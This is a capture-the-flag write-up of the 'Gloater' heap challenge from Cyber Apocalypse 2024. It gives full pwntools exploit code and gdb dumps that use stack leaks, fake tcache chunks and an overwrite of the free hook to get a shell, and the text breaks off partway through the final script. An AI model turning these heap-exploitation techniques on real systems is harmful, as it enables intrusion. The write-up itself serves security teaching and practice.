Gloater was a pwn challenge with an insane difficulty rating during the Cyber Apocalypse 2024. While it had the most difficult rating, it wasn't the pwn with the least solves. But it was still an interesting challenge with many options to gain code execution. This writeup certainly presents a ... let's call it special way ;)
Official Repo
You can find the official writeup, challenge, and source code on github. If you want you can play along :)Challenge authors these days can't get enough of heap exploits it seems. And so we are once again presented with a typical limited heap setup:
1) Update current user 2) Create new taunt 3) Remove taunt 4) Send all taunts 5) Set Super Taunt 6) Exit
The binary itself is also protected as per usual:
❯ checksec gloater [*] './gloater' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
And to make our lifes easier we are given a docker container as well as
glibc
and the matching
ld.so
. Since the solution depends quite a bit on the distro and libc version used, I recommend to get into the habit of developing exploits in the provided Docker. To do so just add a few lines to the dockerfile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | FROM ubuntu:20.04
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update --fix-missing && apt-get -y upgrade
RUN apt-get install -y socat
RUN apt-get install -y sudo python3 python3-pip gdb tmux curl
RUN pip install pwntools
RUN bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
RUN useradd -m ctf
COPY challenge/* /home/ctf/
RUN chown -R ctf:ctf /home/ctf/
WORKDIR /home/ctf
USER ctf
EXPOSE 9001
CMD ["./run.sh"]
|
I just installed gdb, gef, pwntools and whatever dependencies are needed. Also tmux because it's just handy to have everything in a single split view. Also don't forget to add the
privileged
and
SYS_PTRACE
flags when running docker. I also get into the habit to mount my working dir into docker. This allows to edit the file on the host (e.g. using VSCode) without further setup, and also it won't get deleted when exiting/removing the container. The command I used to run the container is:
docker build --tag=gloater . && docker run -it -p 9001:9001 -v $(pwd):/home/ctf/working --privileged --cap-add=SYS_PTRACE --rm --name=gloater --entrypoint /bin/bash gloater
This drops us straight into the docker. If we want to get into the docker from another shell we can just use
docker exec -it gloater bash
. Nice, with our setup being done, let's take a closer look at the binary.
Static Analysis
Since the challenge source is available in the HackTheBox github repo, I will keep this short and not look at too much assembly.
Create Taunt
This function allows us to create a taunt consisting of a target and the taunt data. The following struct is stored on the heap:
1 2 3 4 | struct Taunt {
char target[0x20];
char *taunt_data;
};
|
The whole function looks as follows:
But as you can see a few restrictions are in place.
A curious and helpful detail is that we can set ourself as the
taunt_target
. This allocates only the target chunk, but no data. The pointer also doesn't get stored and the
taunt_counter
doesn't get increased. This can help us align the stack in certain ways.
We are allowed at most 7 taunts. To keep track of this the program uses a
taunt_count`
variable which is increased, but not decreased on a free. This means we can only do 7 allocations at most.
Also interesting is the
memset
at
0x15fe
followed by a memcpy. The memset resets the first 0x10 bytes of our
taunt_target
to 0, making it so that only the next 16 bytes are left. The
memcpy
on the other hand copys the pointer of the
taunt_data
into the last 8 bytes of the
taunt_target
chunk.
Another noteworthy detail is the gigantic read of 0x3ff bytes at
0x15cd
. This is our taunt data and the chunk get's malloced accordingly to the read size. Also note that this variable is stored on stack and then copied over to the heap.
Remove Taunt
This is super boring as it does what it says and frees a taunt. First, the taunt data (stored at
\*taunt_target+0x20
) gets freed, and afterward it frees the
taunt_target
. The pointer in the taunt list is set to zero, and the counter isn't decreased. No use-after-free or anything else of help here.
Update user
When starting the program we are asked for our name and it get's stored in the .bss segment. This is also the username the
create
function checks against when entering a taunt target. The following code is used to update this entry:
As we can see at
0x140d
the size used for read is 0x10. The loop afterwards checks for a space character. If no space is found we enter the block at
0x1464
where some funky stuff is happening.
The program copys the string PLAYER FROM THE FACTIONLESS into the user variable and appends our new user name. But looking at the bss reveals that the user variable is only 0x10 in size, resulting in an overflow. We can also see where exactly we overflow into:
We overflow the
super_taunt_plague
variable, into the taunts list where we can completely overwrite the first entry, and partially overwrite the 4 lowest bytes of the second entry. This is already super useful as we can use this to manipulate the taunt list and call free on arbitrary pointers.
The function also gives us a not so subtle leak. Take a look at
0x1459
where we print the old user name. Since it uses
printf("%s")
and the username size is 0x10, which is also read at the start of the program, we can excatly fill this buffer in such a way that it aligns with the next variable. This means we can leak whatever is stored in
super_taunt_plague
. What is stored there you may ask? Let's find out.
Set Super Taunt
This function allows us to specify a taunt (which has to be allocated and stored in the taunt list) and make it a super taunt. A super taunt is a taunt accompanied by a plague. The plague data is stored on the stack, and limited to 0x80 bytes. The pointer to the stack where our plague resides is then stored right under the user name.
This means, using the super taunt first and update user second, we can leak a stack variable.
This function however is way more powerful, because it faces the exact same issue as the super taunt. It uses
printf(%s)
to print our plague back to us, but the buffer used for the plague, is never set to zero. This means we can leak whatever is stored on the stack, or even stored exactly behind the data used to store our plague.
Such power however isn't given easily to the player. We can only call this function once. Just as with the update user function, a flag is set preventing us from calling it multiple times. So we can get only one leak.
Special features
There is one more special feature in the binary. As you might have noticed in the bss segment are variables for
old_malloc_hook
and
old_free_hook
. This is because the program uses malloc and free hooks to call a function called
validate_ptr
Whenever calling free or malloc it checks if the pointer given to free or returned by malloc is within the libc and exits if this is case. So yeah, no easy win here.
Summary
Alright, that was a lot. So let's summarize:
- We can allocate up to 7 chunks of 0x31 size and 7 chunks of sizes up to 0x400 bytes
- The taunt list is well managed and there is no UAF
- It's possible to update the user name and leak data from the stack. Both can only be done once
- Updating the username can leak a stack address if the super taunt is set first. But this prevents overflowing into the taunt list
- We can partially overwrite the taunt list, eliminating the need for a heap leak as we can overflow the last byte
- To align the stack in our favor, we can create taunts with ourself as a target withtout increasing the taunt counter
- If we manipulate the heap to get a chunk witihin libc, the validte_ptr function will catch us and exit
Exploitation Overview
There are several ways to gain code execution. Before presenting "my solution" let's take a detour.
Official solution
The official solution uses the super taunt to leak a libc adress. Next up it changes the username to get a leak of the stack and also overwrite the first entry in the taunt list to point into
tcache_perthread_struct
. When freeing this and allocating another chunk it's possible to write arbitrary data into this struct, manipulating the head of any other tcache bins. Setting the head of such a bin to the stack, allows writing data on the stack when allocating the matching chunk size. This is then used to craft a ropchain. Pretty neat solution.
TLS DTOR
Another super nice approach is shown in the writeup by chovid99.The trick used there is to overwrite the tls-dtor list. I'm note sure why the validate_ptr didn't catch it as they write at the end "Now that we have successfully overwritten the tls_dtor_list, we can simply trigger exit by putting invalid menu."". But I assume even if it did, it would just call exit anyway (And it may as well have without the author noticing). So this is a super elegant unintended solution and of all the writeups given so far my favorite.
Another approach
If it's stupid but it works, it ain't stupid. While I noticed the stack leak, I didn't tink of a ropchain. But I found the use of the hooks very intriguing. Especially given the fact that we have
old_malloc_hook
and
old_free_hook
just in reach in the bss segment. If we could somehow write into these variables we would have code execution without worrying about the valide_ptr function. And since overwriting hooks is the solution to almost all CTFs, I set my mind to go down this path. This would however require for us to get a leak of a binary address, since the binary is compiled using PIE, and as such the base address is randomized.
Actual Exploitation
Boilerplate code
To make our life easier, let's set up some boilerplate code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #!/usr/bin/env python3
from pwn import *
#convenience Functions
sa = lambda delim,data :io.sendafter(delim, data, timeout=context.timeout)
sla = lambda delim,data :io.sendlineafter(delim, data, timeout=context.timeout)
ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
# Exploit configs
binary = ELF('/home/ctf/gloater')
host = '94.237.59.102'
port = 48388
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def launch_gdb(breakpoints=[], cmds=[]):
if args.NOPTRACE:
return
info("Attaching Debugger")
cmds.append('handle SIGALRM ignore')
for b in breakpoints:
if binary.address == 0:
warning("Setting relative Breakpoints but binary has not been rebased")
cmds.insert(0,'b *' + str(binary.address + b))
gdb.attach(io, gdbscript='\n'.join(cmds))
#time.sleep(2) # Wait for gdb to start, dirty hacks are dirty
def update(data):
sla(b'> ', b'1')
sa(b'User: ', data)
def create(target, data, skip = False):
sla(b'> ', b'2')
sa(b'target: ', target)
if not skip:
sa(b'Taunt: ', data)
def remove(idx):
sla(b'> ', b'3')
sla(b'Index: ', idx)
def setsuper(idx, data): # or as i call, getleak
sla(b'> ', b'5')
sla(b'Taunt:', idx)
sa(b'taunt:', data)
return ru(b'Registered')
if __name__ == '__main__':
# call with REMOTE to run against live target
if args.REMOTE:
args.NOPTRACE = True # disable gdb when working remote
io = remote(host, port)
else:
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
context.terminal = ['tmux', 'splitw', '-h']
io = process('/home/ctf/gloater')
if not args.REMOTE:
for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
mmap = mmap.decode()
if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
binary.address = int(mmap.split('-')[0],16)
break
launch_gdb()
io.interactive()
|
Make sure to run the script inside Docker and inside of an active tmux session, otherwise the attach won't work. Also just so you know: The script above cheats a little and reads the bianry base from the memory maps and sets it accordingly. This allows us to use things such as
binary.sym.taunts
in our script and it also allows us to specify breakpoints by their relative address as seen in BinaryNinja and the screenshots above. This is just a convenience feature. We just have to make sure to not rely on those values until we actually get a leak with the a process address.
Getting Leaks
As seen during our static analysis we can user the super taunt as a leak function. Let's setup our exploit code and run it with a breakpoint on the print of set super taunt to see what values we can actually leak.
1 2 3 4 5 | sa(b'> ', b'A') # Intial user
create(b'B', b'C') # Taunt 0 to add a plague
launch_gdb(breakpoints=[0x18c5], cmds=['c'])
setsuper(b'0', b'D')
io.interactive()
|
Running this gives us the following:
Using
vmmap
we can check in what memory areas the different pointers reside. We see that the value at +0x30 is actually part of gloater with an offset of
0x1a85
, We can also see some stack values. But they aren't as important as we have our user update function to leak a stack address. But we also see a pointer to
puts+0
at an offset of +0x88. Which is super convienient because this is pretty much exactly the allowed plague size. Based on this knowledge we can add two convience functions to our code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | def pieleak():
pieleak = uu64(setsuper(b'0', b'D'*0x58)[-7:-1])
binary.address = pieleak - 0x1a85
success(f"LEAK {hex(pieleak)}")
success(f"PIE {hex(binary.address)}")
print(f"data @ {hex(binary.symbols['user'])}")
return
def libcleak():
leak = uu64(setsuper(b'0', b'D'*0x88)[-7:-1])
if not args.REMOTE:
libc.address = leak-0x84420
else:
libc.address = leak-0x875a0
success(f"LEAK {hex(leak)}")
success(f"LIBC {hex(libc.address)}")
|
You may notice that I had different offsets in the Docker vs. the Remote challenge. I have no idea why, but it's a quick fix and also the reason why extensive logging helps during development ;)
There is one more issue to these leak functions: We can only call one of them as a flag gets set and we cant call
set_super_taunt
again. Bummer.
Overwriting Stuff
Lets not get stopped by problems for future us, and continue by leveraging the next bug: Using
update_user
to overwrite data. But what do we want to overwrite? The reasonable thing to do would be to overwrite a taunt pointer in the taunts list. And our goal is to overwrite stuff in the .bss segment. To do so, we would have to get a chunk allocated somewhere in this section. Since we are working with the tcache this is pretty reasonable. We would just have to manipulate the
fd
pointer of a freed tcache. This is just alike manipulating the linked list of
fastbins
, but with much lesser security checks. If you want to know about this technique keywords for google are
Tcache DUP
and
Tcache_poisening
neatly shown here. But we have no UAF and no overflow. Oh noe!
Here comes a handy trick: Crafting fake chunks. An allocated chunk is just some data fullfilling whatever arbitrary conditions libc applies. And in the case of tcaches this condition is just "Has a valid header". Let's just allocate two Chunks and see how they look on the stack and in the taunt list:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | gef➤ x/20gx &user
0x55d521321100 <user>: 0x0000000000000041 0x0000000000000000
0x55d521321110 <super_taunt_plague>: 0x0000000000000000 0x0000000000000000
0x55d521321120 <taunts>: 0x000055d522f342a0 0x000055d522f34310
0x55d521321130 <taunts+16>: 0x0000000000000000 0x0000000000000000
0x55d521321140 <taunts+32>: 0x0000000000000000 0x0000000000000000
0x55d521321150 <taunts+48>: 0x0000000000000000 0x0000000000000000
0x55d521321160 <super_taunt>: 0x0000000000000000 0x0000000000000002
0x55d521321170 <libc_start>: 0x00007ff8410a51f0 0x00007ff84127b1f0
0x55d521321180 <user_changed>: 0x0000000000000000 0x0000000000000000
0x55d521321190 <old_free_hook>: 0x0000000000000000 0x0000000000000000
gef➤ x/32gx 0x000055d522f342a0-0x10
0x55d522f34290: 0x0000000000000000 0x0000000000000031 <--- Header of Taunt[0]
0x55d522f342a0: 0x0000000000000000 0x0000000000000000 <--- Taunt[0]
0x55d522f342b0: 0x4141414141414141 0x0041414141414141
0x55d522f342c0: 0x000055d522f342d0 0x0000000000000041 <--- Taunt[0]+0x20 Points to taunt data
0x55d522f342d0: 0x4343434343434343 0x4343434343434343 <--- Taunt[0] Data with size 0x41
0x55d522f342e0: 0x4343434343434343 0x4343434343434343
0x55d522f342f0: 0x4343434343434343 0x0043434343434343
0x55d522f34300: 0x0000000000000000 0x0000000000000031 <--- Header of Taunt[1]
0x55d522f34310: 0x0000000000000000 0x0000000000000000
0x55d522f34320: 0x4242424242424242 0x0042424242424242 <--- Taunt[1]+0x20 Points to taunt data
0x55d522f34330: 0x000055d522f34340 0x0000000000000041 <--- Taunt[1] Data with size 0x41
0x55d522f34340: 0x4444444444444444 0x4444444444444444
0x55d522f34350: 0x4444444444444444 0x4444444444444444
0x55d522f34360: 0x4444444444444444 0x0044444444444444
0x55d522f34370: 0x0000000000000000 0x0000000000020c91 <--- Top Chunk
0x55d522f34380: 0x0000000000000000 0x0000000000000000
|
So the data structure is just as we expected. Now let's play a bit "What if".
What if the value at
0x55d522f342b0
would look exactly like the one below? That means we put a fake header (Basically just the value 0x41) there.
What if we could now call free(
0x55d522f342c0
)? Well we would have a free chunk of size 0x41 at this adress.
Now what if we would also free the legitimate chunk stored at
0x55d522f342d0
, i.e. the Chunk containing the
taunt[0]
data? Well we would get an
fd
pointer stored at
0x55d522f342d0
. If we now allocate an 0x41 large chunk we would get the faked chunk back (starting at
0x55d522f342c0
) which would allow us to overwrite into the free chunk stored 0x10 bytes later. This basically allows us to write an arbitrary
fd
pointer.
There are some issues however. First you can see we have the heap aligned at an unfortunate place. We can do this once, but given we probably have to get multiple fake chunks, we have to do this many times. But the heap is aligned in such a way that we have an "address break" from 0x42XX to 0x43XX. Why is that bad you ask? Well we don't know the heap address and as such have to rely on a partial overwrite of the pointer of the taunt list. We want to limit our overwrite to the last byte only to make it reliable. The other issue is the fact that we have to be careful how we craft our fake chunk since the remove function always calls
free(taunt+0x20)
first. We have to make sure to put either 0 or something reasonable there. And the last thing to remember is that if we have only one tcache and free it, it won't have an
fd
pointer. After all, there is no next chunk. So, given that, let's adapt our code. For clarity I'm once again including the whole main function here:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | if __name__ == '__main__':
# call with REMOTE to run against live target
if args.REMOTE:
args.NOPTRACE = True # disable gdb when working remote
io = remote(host, port)
else:
#context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
context.terminal = ['tmux', 'splitw', '-h']
io = process('/home/ctf/gloater')
if not args.REMOTE:
for mmap in open('/proc/{}/maps'.format(io.pid),"rb").readlines():
mmap = mmap.decode()
if binary.path.split('/')[-1] == mmap.split('/')[-1][:-1]:
binary.address = int(mmap.split('-')[0],16)
break
sa(b'> ', b'A')
launch_gdb(breakpoints=[0x1313], cmds=['c'])
# === Align Heap to start at some low 0xY3XX Address
create(b'A', b'B'*0x1F, True)
create(b'A', b'B'*0x1F, True)
create(b'A', b'B'*0x1F, True)
# ======
create(b'B'*24+b'\x31', p64(0)*3+b'B'*(0x2F-24)) # Fake Chunks are fake
create(b'C'*0x1F, b'C'*0x2F)
create(b'D'*0x1F, b'D'*0x2F)
create(b'E'*0x1F, b'D'*0x1F)
remove(b'2') # Yo this is crucial and I dont know why, lul
pieleak()
io.interactive()
|
You can step through each create by using continue in gdb. The breakpoint is set in the main function just after printing the menu. At the end our layout looks as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | gef➤ x/32gx 0x000055a3de3a8330-0x10
0x55a3de3a8320: 0x0000000000000000 0x0000000000000031
0x55a3de3a8330: 0x0000000000000000 0x0000000000000000 <--- Legit Taunt[0] with a fake header
0x55a3de3a8340: 0x4242424242424242 0x0000000000000031 <--- Fake header of 0x31 size
0x55a3de3a8350: 0x000055a3de3a8360 0x0000000000000041 <--- Freeing this breaks the heap
0x55a3de3a8360: 0x0000000000000000 0x0000000000000000
0x55a3de3a8370: 0x0000000000000000 0x4242424242424242
0x55a3de3a8380: 0x4242424242424242 0x0042424242424242
0x55a3de3a8390: 0x0000000000000000 0x0000000000000031
0x55a3de3a83a0: 0x0000000000000000 0x0000000000000000
0x55a3de3a83b0: 0x4343434343434343 0x0043434343434343
0x55a3de3a83c0: 0x000055a3de3a83d0 0x0000000000000041
0x55a3de3a83d0: 0x4343434343434343 0x4343434343434343
0x55a3de3a83e0: 0x4343434343434343 0x4343434343434343
0x55a3de3a83f0: 0x4343434343434343 0x0043434343434343
0x55a3de3a8400: 0x0000000000000000 0x0000000000000031
0x55a3de3a8410: 0x0000000000000000 0x000055a3de3a8010
gef➤ heap bins
────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────
Tcachebins[idx=1, size=0x30, count=1] ← Chunk(addr=0x55a3de3a8410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=2, size=0x40, count=1] ← Chunk(addr=0x55a3de3a8440, size=0x40, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
As you can see we have put a fake chunk header at
0x55a3de3a8350
. We also get a PIE leak, so this is nice for later. Let's play what if again :D
What if we
free(taunt[0])
now? Well we would first free the data of
taunt[0]
, i.e.
free(0x000055a3de3a8360)
. This would get put into
Tcachebins[idx=2]
, next we would free
taunt[0]
itself, putting it in
Tcachebins[idx=1]
. So far, so legit. Now if we could call
free(0x55a3de3a8350)
we would free our fake chunk and put this address also in
Tcachebins[idx=2]
. Funny enough we can do this:
1 2 3 4 5 6 7 8 | [...]
info('remove Taunt 0')
remove(b'0')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\x50')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')
io.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | gef➤ c
gef➤ x/42gx 0x0000558981dcb330-0x10
0x558981dcb320: 0x0000000000000000 0x0000000000000031
0x558981dcb330: 0x0000558981dcb410 0x0000558981dcb010
0x558981dcb340: 0x4242424242424242 0x0000000000000031
0x558981dcb350: 0x0000558981dcb330 0x0000558981dcb010
0x558981dcb360: 0x0000558981dcb440 0x0000558981dcb010
0x558981dcb370: 0x0000000000000000 0x4242424242424242
0x558981dcb380: 0x4242424242424242 0x0042424242424242
0x558981dcb390: 0x0000000000000000 0x0000000000000031
0x558981dcb3a0: 0x0000000000000000 0x0000000000000000
0x558981dcb3b0: 0x4343434343434343 0x0043434343434343
0x558981dcb3c0: 0x0000558981dcb3d0 0x0000000000000041
0x558981dcb3d0: 0x4343434343434343 0x4343434343434343
0x558981dcb3e0: 0x4343434343434343 0x4343434343434343
0x558981dcb3f0: 0x4343434343434343 0x0043434343434343
0x558981dcb400: 0x0000000000000000 0x0000000000000031
0x558981dcb410: 0x0000000000000000 0x0000558981dcb010
0x558981dcb420: 0x4444444444444444 0x0044444444444444
0x558981dcb430: 0x0000558981dcb440 0x0000000000000041
0x558981dcb440: 0x0000000000000000 0x0000558981dcb010
0x558981dcb450: 0x4444444444444444 0x4444444444444444
0x558981dcb460: 0x4444444444444444 0x0044444444444444
gef➤ heap bins
────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────
Tcachebins[idx=1, size=0x30, count=3] ← Chunk(addr=0x558981dcb350, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x558981dcb330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x558981dcb410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=5878067350271, size=0x558981dcb010, count=2] ← Chunk(addr=0x558981dcb360, size=0x558981dcb010, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x558981dcb440, size=0x40, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
We can already see something broken here since our second tcachebin has a broken size and idx. But compare the first chunk in there: It's still our bin for tcaches of size 0x41. Our goal here is to overwrite the fd stored at
0x558981dcb360
. This is our legitimate
taunt[0]
data chunk. To do so we can allocate our fake chunk (stored at
0x558981dcb350
) and the fd would be at
0x558981dcb350+16
. This may be hard to follow, so let's put it in code and inspect the memory:
1 2 3 | info(f'Create Taunt 3 - Overwrite FD with {hex(binary.symbols["super_taunt"])}')
create(b'X'*16+p64(binary.symbols['super_taunt']),b'Y'*0x3F)
io.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 | gef➤ x/16gx 0x0000564ae6926330
0x564ae6926330: 0x0000564ae6926410 0x0000564ae6926010
0x564ae6926340: 0x4242424242424242 0x0000000000000031
0x564ae6926350: 0x0000000000000000 0x0000000000000000
0x564ae6926360: 0x0000564ae5a0b160 0x0000000000000000 <--- Fake FD of legit chunk with broken size
0x564ae6926370: 0x0000564ae69264e0 0x4242424242424242
0x564ae6926380: 0x4242424242424242 0x0042424242424242
gef➤ heap bins
Tcachebins[idx=1, size=0x30, count=2] ← Chunk(addr=0x564ae6926330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x564ae6926410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=1, size=0x30, count=4] ← Chunk(addr=0x564ae6926360, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x564ae5a0b160, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x564ae6926330, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0x564ae6926410, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
Now we have an fd pointing to
super_taunt
stored in the free chunk created by
free(taunt[0])
. All that's left is to allocate a few chunks to pop the free tcaches from the list and eventually we will get back our chunk allocated at
super_taunt
. We just haven't talked about what we actually want to write into the .bss
Basically our whole plan was to eventually overwrite the
old_free_hook
. We could do this now, but we don't know what to write there as we only have a pie leak. So we have to reset the flags for the
super_taunt
, and the
user_change
to basically repeat this chain. We also have to reset the
taunt_count
so we can start at 0 again.
1 2 3 4 5 | info('Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'Z'*0x2F)
info('Create Taunt 5 - Write at faked FD')
info('create 0')
create(b'XXXXXXXX', p64(0)+p64(0)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)+p64(0))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | Before create 0
gef➤ x/20gx &user
0x556b6c15f100 <user>: 0x4620524559414c50 0x20454854204d4f52
0x556b6c15f110 <super_taunt_plague>: 0x4c4e4f4954434146 0x4141414120535345
0x556b6c15f120 <taunts>: 0x4141414141414141 0x0000000000000000
0x556b6c15f130 <taunts+16>: 0x0000000000000000 0x0000556b6cbe9480
0x556b6c15f140 <taunts+32>: 0x0000556b6cbe9350 0x0000556b6cbe9330
0x556b6c15f150 <taunts+48>: 0x0000000000000000 0x0000000000000000
0x556b6c15f160 <super_taunt>: 0x0000556b6cbe9330 0x0000000000000006
0x556b6c15f170 <libc_start>: 0x00007f248394a1f0 0x00007f2483b201f0
0x556b6c15f180 <user_changed>: 0x0000000100000001 0x0000000000000000
0x556b6c15f190 <old_free_hook>: 0x0000000000000000 0x0000000000000000
After create 0
gef➤ x/20gx &user
0x556b6c15f100 <user>: 0x4620524559414c50 0x20454854204d4f52
0x556b6c15f110 <super_taunt_plague>: 0x4c4e4f4954434146 0x4141414120535345
0x556b6c15f120 <taunts>: 0x0000556b6cbe9410 0x0000000000000000
0x556b6c15f130 <taunts+16>: 0x0000000000000000 0x0000556b6cbe9480
0x556b6c15f140 <taunts+32>: 0x0000556b6cbe9350 0x0000556b6cbe9330
0x556b6c15f150 <taunts+48>: 0x0000000000000000 0x0000000000000000
0x556b6c15f160 <super_taunt>: 0x0000000000000000 0x0000000000000001
0x556b6c15f170 <libc_start>: 0x00007fffffffffff 0x00007f0000000000
0x556b6c15f180 <user_changed>: 0x0000000000000000 0x0000000000000000
0x556b6c15f190 <old_free_hook>: 0x0000000000000000 0x0000000000000000
|
As you can see we wrote a bunch of zeros and inverted libc_start and libc_end such that validate_ptr won't be a problem anymore
The rest of the owl
Now we basically repeat the steps above. That means we craft a fake chunk, leak a libc address using change user, allocate a chunk in the .bss and overwrite free hook with system. This is left as an exercise to the reader.
Just Kidding ;) But it's actually pretty straight forward and the perfect exercise if you want to follow along. I encourage you to try to complete the exploit at this point. For everyone else, let's continue the exploit code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | # ==== STAGE 2 =====
info('create 1')
create(b'B'*0x1F, b'B'*0x2F)
info('create 2')
create(b'C'*24+b'\x31', p64(0)*3+b'C'*(0x2F-24))
info('create 3')
create(b'D'*0x1F, b'D'*0x2F)
remove(b'3') #You know why, right? :D
libcleak()
info('remove Taunt 2')
remove(b'2')
info('Ovewrite Taunt 1')
update(b'A'*12+b'\xc0')
info('Remove Taunt 1 (Fakechunk)')
remove(b'1')
info(f'Create Taunt 4 - Overwrite FD with {hex(binary.symbols["old_malloc_hook"])}')
create(b'X'*16+p64(binary.symbols['old_malloc_hook']+8),b'Y'*0x3F)
info('Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top')
create(b'AAAAA', b'/bin/sh\x00'*6)
info('Create Taunt 6 - Write at faked FD')
create(b'AAAAA', p64(libc.symbols['system'])+p64(5)+p64(0x00007fffffffffff)+p64(0x00007f0000000000)+p64(0)*2)
io.interactive()
|
As you can see we do the same steps: create some fake chunk, use update_user to overwrite the pointer stored in the taunts list, free the fake chunk, allocate some data to overwrite the fd, allocate some more data until we get back our manipulated fd, and finally write into the .bss (just a bit lower). Running this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | ctf@d233964943bf:~/working$ ./writeup.py NOPTRACE
[*] '/home/ctf/gloater'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ctf/gloater': pid 1395
[*] Attaching Debugger
[!] Skipping debug attach since context.noptrace==True
[+] LEAK 0x5573c2340a85
[+] PIE 0x5573c233f000
data @ 0x5573c2343100
[*] remove Taunt 0
[*] Ovewrite Taunt 1
[*] Remove Taunt 1 (Fakechunk)
[*] Create Taunt 3 - Overwrite FD with 0x5573c2343180
[*] Create Taunt 4 - Allocate 0x2F Chunk to pop FD to top
[*] Create Taunt 5 - Write at faked FD
[*] create 0
[*] create 1
[*] create 2
[*] create 3
[+] LEAK 0x7fbf280a4420
[+] LIBC 0x7fbf28020000
[*] remove Taunt 2
[*] Ovewrite Taunt 1
[*] Remove Taunt 1 (Fakechunk)
[*] Create Taunt 4 - Overwrite FD with 0x5573c2343190
[*] Create Taunt 5 - Allocate 0x2F Chunk to pop FD to top
[*] Create Taunt 6 - Write at faked FD
[*] Switching to interactive mode
1) Update current user
2) Create new taunt
3) Remove taunt
4) Send all taunts
5) Set Super Taunt
6) Exit
> $ 3
Index: $ 5
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
Dockerfile challenge writeup.py
build_docker.sh
|
Gives us code execution. Ain't that nice.
What have we learned
There are a few key points:
- We can leverage a partial overwrite to manipulate pointer even without having any leak since offsets are always static
- tcaches are insecure as hell and overwriting any fd of a free tcache gives us arbitrary write
- Using GDB we can carefully step through everything and examine the heap and adjust until our layout lines up just perfectly
Final Remarks
This challenge was... well, quite hard. But I liked it, particular because of the many different solutions. The intended solution was to use a fake chunk to allocate data on the stack and write a rop. Another one was using a fake chunk to ovewrite tls-dtor, and my solution was to break the challenge completely and overwrite the hook functions. I think that just goes to show how creativity really healps in solving challenges and how you have to find your own way.
If you have any questions, just reach out via Discord or Twitter
Complete script
Just for reference the complete script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | #!/usr/bin/env python3
from pwn import *
#convenience Functions
sa = lambda delim,data :io.sendafter(delim, data, timeout=context.timeout)
sla = lambda delim,data :io.sendlineafter(delim, data, timeout=context.timeout)
ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
# Exploit configs
binary = ELF('/home/ctf/gloater')
host = '94.237.59.102'
port = 48388
